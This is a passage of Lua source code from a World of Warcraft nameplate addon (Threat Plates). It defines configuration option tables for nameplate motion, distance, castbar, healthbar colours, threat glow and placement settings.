SetValue(info, val)
Addon:SetBaseNamePlateSize()
end
end,
disabled = function() return db.settings.frame.SyncWithHealthbar end,
arg = { "settings", "frame", "height"},
},
ShowArea = {
name = L["Configuration Mode"],
type = "execute",
order = 4,
desc = "Toggle a background showing the area of the clicable area.",
func = function()
Addon:ConfigClickableArea(true)
end,
}
},
},
Motion = {
name = L["Motion & Overlap"],
order = 20,
type = "group",
inline = true,
args = {
Motion = {
name = L["Movement Model"],
order = 10,
type = "select",
desc = L["Defines the movement/collision model for nameplates."],
values = { Overlapping = L["Overlapping"], Stacking = L["Stacking"] },
set = function(info, value) SetCVarTPTP(info, (value == "Overlapping" and "0") or "1") end,
get = function(info) return (GetCVarBoolTPTP(info) and "Stacking") or "Overlapping" end,
arg = "nameplateMotion",
},
MotionSpeed = {
name = L["Motion Speed"],
order = 20,
type = "range",
min = 0,
max = 1,
step = 0.01,
desc = L["Controls the rate at which nameplate animates into their target locations [0.0-1.0]."],
arg = "nameplateMotionSpeed",
},
OverlapH = {
name = L["Horizontal Overlap"],
order = 30,
type = "range",
min = 0,
max = 1.5,
step = 0.01,
isPercent = true,
desc = L["Percentage amount for horizontal overlap of nameplates."],
arg = "nameplateOverlapH",
},
OverlapV = {
name = L["Vertical Overlap"],
order = 40,
type = "range",
min = 0,
max = 1.5,
step = 0.01,
isPercent = true,
desc = L["Percentage amount for vertical overlap of nameplates."],
arg = "nameplateOverlapV",
},
},
},
Distance = {
name = L["Distance"],
order = 30,
type = "group",
inline = true,
args = {
MaxDistance = {
name = L["Max Distance"],
order = 10,
type = "range",
min = 0,
max = 100,
step = 1,
width = "double",
desc = L["The max distance to show nameplates."],
arg = "nameplateMaxDistance",
},
MaxDistanceBehindCam = {
name = L["Max Distance Behind Camera"],
order = 20,
type = "range",
min = 0,
max = 100,
step = 1,
width = "double",
desc = L["The max distance to show the target nameplate when the target is behind the camera."],
arg = "nameplateTargetBehindMaxDistance",
},
},
},
Insets = {
name = L["Insets"],
order = 40,
type = "group",
inline = true,
args = {
OtherTopInset = {
name = L["Top Inset"],
order = 10,
type = "range",
min = -0.2,
max = 0.3,
step = 0.01,
isPercent = true,
desc = L["The inset from the top (in screen percent) that the non-self nameplates are clamped to."],
arg = "nameplateOtherTopInset",
},
OtherBottomInset = {
name = L["Bottom Inset"],
order = 20,
type = "range",
min = -0.2,
max = 0.3,
step = 0.01,
isPercent = true,
desc = L["The inset from the bottom (in screen percent) that the non-self nameplates are clamped to."],
arg = "nameplateOtherBottomInset",
},
LargeTopInset = {
name = L["Large Top Inset"],
order = 30,
type = "range",
min = -0.2,
max = 0.3,
step = 0.01,
isPercent = true,
desc = L["The inset from the top (in screen percent) that large nameplates are clamped to."],
arg = "nameplateLargeTopInset",
},
LargeBottomInset = {
name = L["Large Bottom Inset"],
order = 40,
type = "range",
min = -0.2,
max = 0.3,
step = 0.01,
isPercent = true,
desc = L["The inset from the bottom (in screen percent) that large nameplates are clamped to."],
arg = "nameplateLargeBottomInset",
},
},
},
-- Alpha = {
-- name = L["Alpha"],
-- order = 43,
-- type = "group",
-- inline = true,
-- args = {
-- OccludedUnits = {
-- name = L["Mult for Occluded Units"],
-- order = 10,
-- type = "range",
-- min = -10,
-- max = 10,
-- step = 0.01,
-- isPercent = false,
-- set = function(info, value) SetCVarTPTP(info, value); Addon:ForceUpdate() end,
-- desc = L["Alpha multiplier of nameplates for occluded units."],
-- arg = "nameplateOccludedAlphaMult",
-- },
-- MinAlpha = {
-- name = L["Min Alpha"],
-- order = 20,
-- type = "range",
-- min = 0,
-- max = 1,
-- step = 0.01,
-- isPercent = false,
-- set = function(info, value) SetCVarTPTP(info, value); Addon:ForceUpdate() end,
-- desc = L["The minimum alpha of nameplates."],
-- arg = "nameplateMinAlpha",
-- },
-- MaxAlpha = {
-- name = L["Max Alpha"],
-- order = 30,
-- type = "range",
-- min = 0,
-- max = 1,
-- step = 0.01,
-- isPercent = false,
-- set = function(info, value) SetCVarTPTP(info, value); Addon:ForceUpdate() end,
-- desc = L["The max alpha of nameplates."],
-- arg = "nameplateMaxAlpha",
-- },
-- },
-- },
PersonalNameplate = {
name = L["Personal Nameplate"],
order = 45,
type = "group",
inline = true,
args = {
HideBuffs = {
type = "toggle",
order = 10,
name = L["Hide Buffs"],
set = function(info, val)
db.PersonalNameplate.HideBuffs = val
local plate = C_NamePlate.GetNamePlateForUnit("player")
if plate and plate:IsShown() then
plate.UnitFrame.BuffFrame:SetShown(not val)
end
end,
get = GetValue,
arg = { "PersonalNameplate", "HideBuffs"},
},
ShowResources = {
type = "toggle",
order = 20,
name = L["Resources on Targets"],
desc = L["Enable this if you want to show Blizzards special resources above the target nameplate."],
width = "double",
set = function(info, val)
SetValuePlain(info, val)
Addon.CVars:OverwriteBoolProtected("nameplateResourceOnTarget", val)
end,
get = GetValue,
arg = { "PersonalNameplate", "ShowResourceOnTarget"},
},
},
},
Reset = {
name = L["Reset"],
order = 50,
type = "group",
inline = true,
args = {
Reset = {
name = L["Reset to Defaults"],
order = 10,
type = "execute",
width = "double",
func = function()
if InCombatLockdown() then
t.Print("We're unable to change this while in combat", true)
else
local cvars = {
"nameplateOtherTopInset", "nameplateOtherBottomInset", "nameplateLargeTopInset", "nameplateLargeBottomInset",
"nameplateMotion", "nameplateMotionSpeed", "nameplateOverlapH", "nameplateOverlapV",
"nameplateMaxDistance", "nameplateTargetBehindMaxDistance",
-- "nameplateGlobalScale" -- Reset it to 1, if it get's somehow corrupted
}
for k, v in pairs(cvars) do
Addon.CVars:SetToDefault(v)
end
Addon:ForceUpdate()
end
end,
},
OpenBlizzardSettings = {
name = L["Open Blizzard Settings"],
order = 20,
type = "execute",
width = "double",
func = function()
InterfaceOptionsFrame_OpenToCategory(_G["InterfaceOptionsNamesPanel"])
LibStub("AceConfigDialog-3.0"):Close("Threat Plates");
end,
},
},
},
},
-- ["ShowNamePlateLoseAggroFlash"] = "When enabled, if you are a tank role and lose aggro, the nameplate with briefly flash.",
}
return entry
end
local function CreateAutomationSettings()
-- Small nameplates: in combat, out of instances, ...
-- show names or show them automatically, complicated, lots of CVars
-- Additional options: disable friendly NPCs in instancesf
local entry = {
name = L["Automation"],
order = 15,
type = "group",
args = {
InCombat = {
name = L["Combat"],
order = 10,
type = "group",
inline = true,
set = SyncGameSettings,
args = {
FriendlyUnits = {
name = L["Friendly Units"],
order = 10,
type = "select",
width = "double",
values = t.AUTOMATION,
arg = { "Automation", "FriendlyUnits" },
},
HostileUnits = {
name = L["Enemy Units"],
order = 20,
type = "select",
width = "double",
values = t.AUTOMATION,
arg = { "Automation", "EnemyUnits" },
},
SpacerAuto = GetSpacerEntry(30),
ModeOoC = {
name = L["Headline View Out of Combat"],
order = 40,
type = "toggle",
width = "double",
set = SetValue,
arg = { "HeadlineView", "ForceOutOfCombat" }
},
HeadlineViewOnFriendly = {
name = L["Nameplate Mode for Friendly Units in Combat"],
order = 50,
type = "select",
values = { NAME = L["Headline View"], HEALTHBAR = L["Healthbar View"], NONE = L["None"] },
style = "dropdown",
width = "double",
set = SetValue,
arg = { "HeadlineView", "ForceFriendlyInCombat" }
},
},
},
InInstances = {
name = L["Instances"],
order = 20,
type = "group",
inline = true,
set = SyncGameSettingsWorld,
args = {
SmallNameplates = {
name = L["Small Blizzard Nameplates"],
order = 50,
type = "toggle",
width = "double",
desc = L["Reduce the size of the Blizzard's default large nameplates in instances to 50%."],
arg = { "Automation", "SmallPlatesInInstances" },
},
HideFriendlyInInstances = {
name = L["Hide Friendly Nameplates"],
order = 60,
type = "toggle",
width = "double",
desc = L["Hide the Blizzard default nameplates for friendly units in instances."],
arg = { "Automation", "HideFriendlyUnitsInInstances" },
},
},
},
},
}
return entry
end
local function CreateCastbarOptions()
local entry = {
name = L["Castbar"],
type = "group",
order = 30,
set = SetThemeValue,
args = {
Toggles = {
name = L["Enable"],
type = "group",
inline = true,
order = 1,
args = {
Header = {
name = L["These options allow you to control whether the castbar is hidden or shown on nameplates."],
order = 10,
type = "description",
width = "full",
},
Enable = {
name = L["Show in Healthbar View"],
order = 20,
type = "toggle",
desc = L["These options allow you to control whether the castbar is hidden or shown on nameplates."],
width = "double",
set = function(info, val)
if val or db.settings.castbar.ShowInHeadlineView then
Addon:EnableCastBars()
else
Addon:DisableCastBars()
end
SetThemeValue(info, val)
end,
arg = { "settings", "castbar", "show" },
},
EnableHV = {
name = L["Show in Headline View"],
order = 30,
type = "toggle",
width = "double",
set = function(info, val)
if val or db.settings.castbar.show then
Addon:EnableCastBars()
else
Addon:DisableCastBars()
end
SetThemeValue(info, val)
end,
arg = {"settings", "castbar", "ShowInHeadlineView" },
},
},
},
Format = {
name = L["Format"],
order = 5,
type = "group",
inline = true,
set = SetThemeValue,
args = {
Width = GetRangeEntry(L["Bar Width"], 10, { "settings", "castbar", "width" }, 5, 500),
Height = GetRangeEntry(L["Bar Height"], 20, {"settings", "castbar", "height" }, 1, 100),
Spacer1 = GetSpacerEntry(25),
EnableSpellText = {
name = L["Spell Text"],
order = 30,
type = "toggle",
desc = L["This option allows you to control whether a spell's name is hidden or shown on castbars."],
arg = { "settings", "spelltext", "show" },
},
EnableSpellIcon = {
name = L["Spell Icon"],
order = 40,
type = "toggle",
desc = L["This option allows you to control whether a spell's icon is hidden or shown on castbars."],
arg = { "settings", "spellicon", "show" },
},
EnableSpark = {
name = L["Spark"],
order = 45,
type = "toggle",
arg = { "settings", "castbar", "ShowSpark" },
},
EnableCastBarBorder = {
type = "toggle",
order = 50,
name = L["Border"],
desc = L["Shows a border around the castbar of nameplates (requires /reload)."],
arg = { "settings", "castborder", "show" },
},
EnableCastBarOverlay = {
name = L["Interrupt Overlay"],
order = 60,
type = "toggle",
disabled = function() return not db.settings.castborder.show end,
arg = { "settings", "castnostop", "ShowOverlay" },
},
EnableInterruptShield = {
name = L["Interrupt Shield"],
order = 70,
type = "toggle",
arg = { "settings", "castnostop", "ShowInterruptShield" },
},
},
},
Textures = {
name = L["Textures & Colors"],
order = 10,
type = "group",
inline = true,
args = {
CastBarTexture = {
name = L["Foreground"],
type = "select",
order = 10,
dialogControl = "LSM30_Statusbar",
values = AceGUIWidgetLSMlists.statusbar,
arg = { "settings", "castbar", "texture" },
},
BGTexture = {
name = L["Background"],
type = "select",
order = 20,
dialogControl = "LSM30_Statusbar",
values = AceGUIWidgetLSMlists.statusbar,
arg = { "settings", "castbar", "backdrop" },
},
CastBarBorder = {
type = "select",
order = 25,
name = L["Border"],
values = { TP_Castbar_Border_Default = "Default", TP_Castbar_Border_Thin = "Thin" },
set = function(info, val)
if val == "TP_Castbar_Border_Default" then
db.settings.castborder.EdgeSize = 2
db.settings.castborder.Offset = 2
else
db.settings.castborder.EdgeSize = 1
db.settings.castborder.Offset = 1
end
SetThemeValue(info, val)
end,
arg = { "settings", "castborder", "texture" },
},
Spacer1 = GetSpacerEntry(30),
BGColorText = {
type = "description",
order = 40,
width = "single",
name = L["Background Color:"],
},
BGColorForegroundToggle = {
name = L["Same as Foreground"],
order = 50,
type = "toggle",
desc = L["Use the castbar's foreground color also for the background."],
arg = { "settings", "castbar", "BackgroundUseForegroundColor" },
},
BGColorCustomToggle = {
name = L["Custom"],
order = 60,
type = "toggle",
width = "half",
desc = L["Use a custom color for the castbar's background."],
set = function(info, val)
SetThemeValue(info, not val)
end,
get = function(info, val)
return not GetValue(info, val)
end,
arg = { "settings", "castbar", "BackgroundUseForegroundColor" },
},
BGColorCustom = {
name = L["Color"], type = "color", order = 70, get = GetColor, set = SetColor, arg = {"settings", "castbar", "BackgroundColor"},
width = "half",
disabled = function() return db.settings.castbar.BackgroundUseForegroundColor end,
},
BackgroundOpacity = {
name = L["Background Transparency"],
order = 80,
type = "range",
min = 0,
max = 1,
step = 0.01,
isPercent = true,
arg = { "settings", "castbar", "BackgroundOpacity" },
},
Spacer2 = GetSpacerEntry(90),
SpellColor = {
type = "description",
order = 100,
width = "single",
name = L["Spell Color:"],
},
Interruptable = {
name = L["Interruptable"],
type = "color",
order = 110,
--width = "double",
get = GetColorAlpha,
set = SetColorAlpha,
arg = { "castbarColor" },
},
Shielded = {
name = L["Non-Interruptable"],
type = "color",
order = 120,
--width = "double",
get = GetColorAlpha,
set = SetColorAlpha,
arg = { "castbarColorShield" }
},
Interrupted = {
name = L["Interrupted"],
type = "color",
order = 130,
--width = "double",
get = GetColorAlpha,
set = SetColorAlpha,
arg = { "castbarColorInterrupted" }
},
},
},
Appeareance = {
name = L["Appearance"],
order = 20,
type = "group",
inline = true,
args = {
Size = GetSizeEntry(L["Spell Icon Size"], 10, { "settings", "spellicon", "scale" }),
Font = GetFontEntry(L["Spell Text"], 20, "spelltext"),
Align = {
name = L["Spell Text Alignment"],
order = 30,
type = "group",
inline = true,
args = {
AlignH = {
name = L["Horizontal Align"],
type = "select",
width = "double",
order = 110,
values = t.AlignH,
arg = { "settings", "spelltext", "align" },
},
AlignV = {
name = L["Vertical Align"],
type = "select",
width = "double",
order = 120,
values = t.AlignV,
arg = { "settings", "spelltext", "vertical" },
},
},
},
Boundaries = GetBoundariesEntryName(L["Spell Text Boundaries"], 40, "spelltext"),
},
},
Placement = {
name = L["Placement"],
type = "group",
inline = true,
order = 40,
args = {
Castbar = {
name = L["Castbar"],
order = 20,
type = "group",
inline = true,
args = {
Castbar_X_HB = {
name = L["Healthbar View X"],
order = 10,
type = "range",
min = -60,
max = 60,
step = 1,
set = SetThemeValue,
arg = { "settings", "castbar", "x" },
},
Castbar_Y_HB = {
name = L["Healthbar View Y"],
order = 20,
type = "range",
min = -60,
max = 60,
step = 1,
set = SetThemeValue,
arg = { "settings", "castbar", "y" },
},
Castbar_X_Names = GetPlacementEntry(L["Headline View X"], 30, { "settings", "castbar", "x_hv" } ),
Castbar_Y_Names = GetPlacementEntry(L["Headline View Y"], 40, { "settings", "castbar", "y_hv" }),
Spacer1 = GetSpacerEntry(50),
TargetOffsetX = GetPlacementEntry(L["Target Offset X"], 60, { "settings", "castbar", "x_target" } ),
TargetOffsetY = GetPlacementEntry(L["Target Offset Y"], 70, { "settings", "castbar", "y_target" } ),
},
},
Spellicon = {
name = L["Spell Icon"],
order = 20,
type = "group",
inline = true,
args = {
Spellicon_X_HB = GetPlacementEntry(L["Healthbar View X"], 150, { "settings", "spellicon", "x" }),
Spellicon_Y_HB = GetPlacementEntry(L["Healthbar View Y"], 160, { "settings", "spellicon", "y" }),
Spellicon_X_Names = GetPlacementEntry(L["Headline View X"], 170, { "settings", "spellicon", "x_hv" }),
Spellicon_Y_Names = GetPlacementEntry(L["Headline View Y"], 180, { "settings", "spellicon", "y_hv" }),
},
},
Spelltext = {
name = L["Spell Text"],
order = 30,
type = "group",
inline = true,
args = {
Spelltext_X_HB = GetPlacementEntry(L["Healthbar View X"], 60, { "settings", "spelltext", "x" }),
Spelltext_Y_HB = GetPlacementEntry(L["Healthbar View Y"], 70, { "settings", "spelltext", "y" }),
Spelltext_X_Names = GetPlacementEntry(L["Headline View X"], 80, { "settings", "spelltext", "x_hv" }),
Spelltext_Y_Names = GetPlacementEntry(L["Headline View Y"], 90, { "settings", "spelltext", "y_hv" }),
},
},
},
},
Config = {
name = L["Configuration Mode"],
order = 100,
type = "group",
inline = true,
args = {
Toggle = {
name = L["Toggle on Target"],
type = "execute",
order = 1,
width = "full",
func = function()
Addon:ConfigCastbar()
end,
},
},
},
},
}
return entry
end
local function CreateWidgetOptions()
local options = {
name = L["Widgets"],
type = "group",
order = 40,
args = {
ArenaWidget = CreateArenaWidgetOptions(),
AurasWidget = CreateAurasWidgetOptions(),
BossModsWidget = CreateBossModsWidgetOptions(),
ClassIconWidget = CreateClassIconsWidgetOptions(),
ComboPointsWidget = CreateComboPointsWidgetOptions(),
ResourceWidget = CreateResourceWidgetOptions(),
SocialWidget = CreateSocialWidgetOptions(),
StealthWidget = CreateStealthWidgetOptions(),
TargetArtWidget = CreateTargetArtWidgetOptions(),
QuestWidget = CreateQuestWidgetOptions(),
HealerTrackerWidget = CreateHealerTrackerWidgetOptions(),
},
}
return options
end
local function CreateSpecRoles()
-- Create a list of specs for the player's class
local result = {
Automatic_Spec_Detection = {
name = L["Determine your role (tank/dps/healing) automatically based on current spec."],
type = "toggle",
width = "full",
order = 1,
arg = { "optionRoleDetectionAutomatic" }
},
SpecGroup = {
name = " ",
type = "group",
inline = true,
order = 3,
args = {}
}
}
for index = 1, GetNumSpecializations() do
local id, spec_name, description, icon, background, role = GetSpecializationInfo(index)
result.SpecGroup.args[spec_name] = {
name = spec_name,
type = "group",
inline = true,
order = index + 2,
disabled = function() return TidyPlatesThreat.db.profile.optionRoleDetectionAutomatic end,
args = {
Tank = {
name = L["Tank"],
type = "toggle",
order = 1,
desc = L["Sets your spec "] .. spec_name .. L[" to tanking."],
get = function()
local spec = TidyPlatesThreat.db.char.spec[index]
return (spec == nil and role == "TANK") or spec
end,
set = function() TidyPlatesThreat.db.char.spec[index] = true; Addon:ForceUpdate() end,
},
DPS = {
name = L["DPS/Healing"],
type = "toggle",
order = 2,
desc = L["Sets your spec "] .. spec_name .. L[" to DPS."],
get = function()
local spec = TidyPlatesThreat.db.char.spec[index]
return (spec == nil and role ~= "TANK") or not spec
end,
set = function() TidyPlatesThreat.db.char.spec[index] = false; Addon:ForceUpdate() end,
},
},
}
end
return result
end
-- Return the Options table
local function CreateOptionsTable()
if not options then
options = {
name = GetAddOnMetadata("TidyPlates_ThreatPlates", "title"),
handler = TidyPlatesThreat,
type = "group",
childGroups = "tab",
get = GetValue,
set = SetValue,
args = {
-- Config Guide
NameplateSettings = {
name = L["General"],
type = "group",
order = 10,
args = {
GeneralSettings = CreateVisibilitySettings(),
AutomationSettings = CreateAutomationSettings(),
HealthBarView = {
name = L["Healthbar View"],
type = "group",
inline = false,
order = 20,
args = {
Design = {
name = L["Default Settings (All Profiles)"],
type = "group",
inline = true,
order = 1,
args = {
HealthBarTexture = {
name = L["Look and Feel"],
order = 1,
type = "select",
desc = L["Changes the default settings to the selected design. Some of your custom settings may get overwritten if you switch back and forth.."],
values = { CLASSIC = "Classic", SMOOTH = "Smooth" } ,
set = function(info, val)
TidyPlatesThreat.db.global.DefaultsVersion = val
if val == "CLASSIC" then
t.SwitchToDefaultSettingsV1()
else -- val == "SMOOTH"
t.SwitchToCurrentDefaultSettings()
end
TidyPlatesThreat:ReloadTheme()
end,
get = function(info) return TidyPlatesThreat.db.global.DefaultsVersion end,
},
},
},
Format = {
name = L["Format"],
order = 5,
type = "group",
inline = true,
set = SetThemeValue,
args = {
Width = GetRangeEntry(L["Bar Width"], 10, { "settings", "healthbar", "width" }, 5, 500,
function(info, val)
if InCombatLockdown() then
t.Print("We're unable to change this while in combat", true)
else
SetThemeValue(info, val)
Addon:SetBaseNamePlateSize()
end
end),
Height = GetRangeEntry(L["Bar Height"], 20, {"settings", "healthbar", "height" }, 1, 100,
function(info, val)
if InCombatLockdown() then
t.Print("We're unable to change this while in combat", true)
else
SetThemeValue(info, val)
Addon:SetBaseNamePlateSize()
end
end),
Spacer1 = GetSpacerEntry(25),
ShowHealAbsorbs = {
name = L["Heal Absorbs"],
order = 29,
type = "toggle",
arg = { "settings", "healthbar", "ShowHealAbsorbs" },
},
ShowAbsorbs = {
name = L["Absorbs"],
order = 30,
type = "toggle",
arg = { "settings", "healthbar", "ShowAbsorbs" },
},
ShowMouseoverHighlight = {
type = "toggle",
order = 40,
name = L["Mouseover"],
set = SetThemeValue,
arg = { "settings", "highlight", "show" },
},
ShowBorder = {
type = "toggle",
order = 50,
name = L["Border"],
set = SetThemeValue,
arg = { "settings", "healthborder", "show" },
},
ShowEliteBorder = {
type = "toggle",
order = 60,
name = L["Elite Border"],
arg = { "settings", "elitehealthborder", "show" },
},
}
},
HealthBarGroup = {
name = L["Textures"],
type = "group",
inline = true,
order = 10,
args = {
HealthBarTexture = {
name = L["Foreground"],
type = "select",
order = 10,
dialogControl = "LSM30_Statusbar",
values = AceGUIWidgetLSMlists.statusbar,
set = SetThemeValue,
arg = { "settings", "healthbar", "texture" },
},
BGTexture = {
name = L["Background"],
type = "select",
order = 20,
dialogControl = "LSM30_Statusbar",
values = AceGUIWidgetLSMlists.statusbar,
set = SetThemeValue,
arg = { "settings", "healthbar", "backdrop" },
},
HealthBorder = {
type = "select",
order = 25,
name = L["Border"],
set = function(info, val)
if val == "TP_Border_Default" then
db.settings.healthborder.EdgeSize = 2
db.settings.healthborder.Offset = 2
else
db.settings.healthborder.EdgeSize = 1
db.settings.healthborder.Offset = 1
end
SetThemeValue(info, val)
end,
values = { TP_Border_Default = "Default", TP_Border_Thin = "Thin" },
arg = { "settings", "healthborder", "texture" },
},
EliteBorder = {
type = "select",
order = 26,
name = L["Elite Border"],
values = { TP_EliteBorder_Default = "Default", TP_EliteBorder_Thin = "Thin" },
set = SetThemeValue,
arg = { "settings", "elitehealthborder", "texture" }
},
Spacer1 = GetSpacerEntry(30),
BGColorText = {
type = "description",
order = 40,
width = "single",
name = L["Background Color:"],
},
BGColorForegroundToggle = {
name = L["Same as Foreground"],
order = 50,
type = "toggle",
desc = L["Use the healthbar's foreground color also for the background."],
set = SetThemeValue,
arg = { "settings", "healthbar", "BackgroundUseForegroundColor" },
},
BGColorCustomToggle = {
name = L["Custom"],
order = 60,
type = "toggle",
width = "half",
desc = L["Use a custom color for the healtbar's background."],
set = function(info, val)
SetThemeValue(info, not val)
end,
get = function(info, val)
return not GetValue(info, val)
end,
arg = { "settings", "healthbar", "BackgroundUseForegroundColor" },
},
BGColorCustom = {
name = L["Color"],
order = 70,
type = "color",
get = GetColor, set = SetColor, arg = {"settings", "healthbar", "BackgroundColor"},
width = "half",
disabled = function() return db.settings.healthbar.BackgroundUseForegroundColor end,
},
BackgroundOpacity = {
name = L["Background Transparency"],
order = 80,
type = "range",
min = 0,
max = 1,
step = 0.01,
isPercent = true,
arg = { "settings", "healthbar", "BackgroundOpacity" },
},
AbsorbGroup = {
name = L["Absorbs"],
order = 90,
type = "group",
inline = true,
args = {
AbsorbColor = {
name = L["Color"],
order = 110,
type = "color",
get = GetColorAlpha,
set = SetColorAlpha,
hasAlpha = true,
arg = { "settings", "healthbar", "AbsorbColor" },
},
AlwaysFullAbsorb = {
name = L["Full Absorbs"],
order = 120,
type = "toggle",
desc = L["Always shows the full amount of absorbs on a unit. In overabsorb situations, the absorbs bar ist shifted to the left."],
arg = { "settings", "healthbar", "AlwaysFullAbsorb" },
},
OverlayTexture = {
name = L["Striped Texture"],
order = 130,
type = "toggle",
desc = L["Use a striped texture for the absorbs overlay. Always enabled if full absorbs are shown."],
get = function(info) return GetValue(info) or db.settings.healthbar.AlwaysFullAbsorb end,
disabled = function() return db.settings.healthbar.AlwaysFullAbsorb end,
arg = { "settings", "healthbar", "OverlayTexture" },
},
OverlayColor = {
name = L["Striped Texture Color"],
order = 140,
type = "color",
get = GetColorAlpha,
set = SetColorAlpha,
hasAlpha = true,
arg = { "settings", "healthbar", "OverlayColor" },
},
},
},
},
},
ShowByStatus = {
name = L["Force View By Status"],
order = 15,
type = "group",
inline = true,
args = {
ModeOnTarget = {
name = L["On Target"],
order = 1,
type = "toggle",
width = "double",
arg = { "HeadlineView", "ForceHealthbarOnTarget" }
},
}
},
ColorSettings = {
name = L["Coloring"],
type = "group",
inline = true,
order = 20,
args = {
General = {
name = L["General Colors"],
order = 10,
type = "group",
inline = true,
get = GetColor,
set = SetColor,
args = {
TappedColor = { name = L["Tapped Units"], order = 1, type = "color", arg = { "ColorByReaction", "TappedUnit" }, },
DCedColor = { name = L["Disconnected Units"], order = 2, type = "color", arg = { "ColorByReaction", "DisconnectedUnit" }, },
},
},
HPAmount = {
name = L["Color by Health"],
order = 20,
type = "group",
inline = true,
args = {
ColorByHPLevel = {
name = L["Change the color depending on the amount of health points the nameplate shows."],
order = 10,
type = "toggle",
width = "full",
arg = { "healthColorChange" },
},
Header = { name = L["Colors"], type = "header", order = 20, },
ColorLow = {
name = "Low Color",
order = 30,
type = "color",
desc = "",
descStyle = "inline",
get = GetColor,
set = SetColor,
arg = { "aHPbarColor" },
},
ColorHigh = {
name = "High Color",
order = 40,
type = "color",
desc = "",
descStyle = "inline",
get = GetColor,
set = SetColor,
arg = { "bHPbarColor" },
},
},
},
ClassColors = {
name = L["Color By Class"],
order = 30,
type = "group",
disabled = function() return db.healthColorChange end,
inline = true,
args = {
Enable = {
name = L["Color Healthbar By Enemy Class"],
order = 1,
type = "toggle",
descStyle = "inline",
width = "double",
arg = { "allowClass" }
},
FriendlyClass = {
name = L["Color Healthbar By Friendly Class"],
order = 2,
type = "toggle",
descStyle = "inline",
width = "double",
arg = { "friendlyClass" },
},
-- FriendlyCaching = {
-- name = L["Friendly Caching"],
-- order = 3,
-- type = "toggle",
-- desc = L["This allows you to save friendly player class information between play sessions or nameplates going off the screen. |cffff0000(Uses more memory)"],
-- descStyle = "inline",
-- width = "full",
-- arg = { "cacheClass" },
-- },
},
},
Reaction = {
order = 20,
name = L["Color by Reaction"],
type = "group",
inline = true,
get = GetColor,
set = SetColor,
args = {
ColorByReaction = {
name = L["Change the color depending on the reaction of the unit (friendly, hostile, neutral)."],
type = "toggle",
width = "full",
order = 1,
arg = { "healthColorChange" }, -- false, if Color by Reaction (customColor), true if Color by Health
get = function(info) return not GetValue(info) end,
set = function(info, val) SetValue(info, not val) end,
},
Header = { name = L["Colors"], type = "header", order = 10, },
FriendlyColorNPC = { name = L["Friendly NPCs"], order = 20, type = "color", arg = { "ColorByReaction", "FriendlyNPC", }, },
FriendlyColorPlayer = { name = L["Friendly Players"], order = 30, type = "color", arg = { "ColorByReaction", "FriendlyPlayer" }, },
EnemyColorNPC = { name = L["Hostile NPCs"], order = 40, type = "color", arg = { "ColorByReaction", "HostileNPC" }, },
EnemyColorPlayer = { name = L["Hostile Players"], order = 50, type = "color", arg = { "ColorByReaction", "HostilePlayer" }, },
NeutralColor = { name = L["Neutral Units"], order = 60, type = "color", arg = { "ColorByReaction", "NeutralUnit" }, },
},
},
RaidMark = {
name = L["Color by Target Mark"],
order = 40,
type = "group",
inline = true,
get = GetColor,
set = SetColor,
args = {
EnableRaidMarks = {
name = L["Additionally color the healthbar based on the target mark if the unit is marked."],
order = 1,
type = "toggle",
width = "full",
set = SetValue,
get = GetValue,
arg = { "settings", "raidicon", "hpColor" },
},
Header = { name = L["Colors"], type = "header", order = 20, },
STAR = {
type = "color",
order = 30,
name = RAID_TARGET_1,
arg = { "settings", "raidicon", "hpMarked", "STAR" },
},
CIRCLE = {
type = "color",
order = 31,
name = RAID_TARGET_2,
arg = { "settings", "raidicon", "hpMarked", "CIRCLE" },
},
DIAMOND = {
type = "color",
order = 32,
name = RAID_TARGET_3,
arg = { "settings", "raidicon", "hpMarked", "DIAMOND" },
},
TRIANGLE = {
type = "color",
order = 33,
name = RAID_TARGET_4,
arg = { "settings", "raidicon", "hpMarked", "TRIANGLE" },
},
MOON = {
type = "color",
order = 34,
name = RAID_TARGET_5,
arg = { "settings", "raidicon", "hpMarked", "MOON" },
},
SQUARE = {
type = "color",
order = 35,
name = RAID_TARGET_6,
arg = { "settings", "raidicon", "hpMarked", "SQUARE" },
},
CROSS = {
type = "color",
order = 36,
name = RAID_TARGET_7,
arg = { "settings", "raidicon", "hpMarked", "CROSS" },
},
SKULL = {
type = "color",
order = 37,
name = RAID_TARGET_8,
arg = { "settings", "raidicon", "hpMarked", "SKULL" },
},
},
},
},
},
ThreatColors = {
name = L["Warning Glow for Threat"],
order = 30,
type = "group",
get = GetColorAlpha,
set = SetColorAlpha,
inline = true,
args = {
ThreatGlow = {
type = "toggle",
order = 1,
name = L["Enable"],
get = GetValue,
set = SetThemeValue,
arg = { "settings", "threatborder", "show" },
},
OnlyAttackedUnits = {
type = "toggle",
order = 2,
name = L["Threat Detection Heuristic"],
desc = L["Use a heuristic instead of a mob's threat table to detect if you are in combat with a mob (see Threat System - General Settings for a more detailed explanation)."],
width = "double",
set = function(info, val) SetValue(info, not val) end,
get = function(info) return not GetValue(info) end,
arg = { "ShowThreatGlowOnAttackedUnitsOnly" },
},
Header = { name = L["Colors"], type = "header", order = 10, },
Low = {
name = L["|cffffffffLow Threat|r"],
type = "color",
order = 20,
arg = { "settings", "normal", "threatcolor", "LOW" },
hasAlpha = true,
},
Med = {
name = L["|cffffff00Medium Threat|r"],
type = "color",
order = 30,
arg = { "settings", "normal", "threatcolor", "MEDIUM" },
hasAlpha = true,
},
High = {
name = L["|cffff0000High Threat|r"],
type = "color",
order = 40,
arg = { "settings", "normal", "threatcolor", "HIGH" },
hasAlpha = true,
},
},
},
Placement = {
name = L["Placement"],
type = "group",
inline = true,
order = 40,
args = {
Warning = {
type = "description",
order = 1,
name = L["Changing these settings will alter the placement of the nameplates, however the mouseover area does not follow. |cffff0000Use with caution!|r"],
},
OffsetX = {
name = L["Offset X"],
type = "range",
min = -60,
max = 60,
step = 1,
order = 2,
set = SetThemeValue,
arg = { "settings", "frame", "x" },
},
Offsety = {
name = L["Offset Y"],
type = "range",
min = -60,
max = 60,
step = 1,
order = 3,
set = SetThemeValue,
arg = { "settings", "frame", "y" },
},
},
},
},
},
HeadlineViewSettings = {
name = L["Headline View"],
type = "group",
inline = false,
order = 25,
args = {
-- Enable = {
-- name = L["Enable"],
-- order = 5,
-- type = "group",
-- inline = true,
-- args = {
-- Header = {
-- name = L["This option allows you to control whether headline view (text-only) is enabled for nameplates."],
-- order = 1,
-- type = "description",
-- width = "full",
-- },
-- Enable = {
-- name = L["Enable Headline View (Text-Only)"],
-- order = 2,
-- type = "toggle",
-- width = "double",
-- arg = { "HeadlineView", "ON" },
-- },
-- },
-- },
ShowByUnitType = {
name = L["Show By Unit Type"],
order = 10,
type = "group",
inline = true,
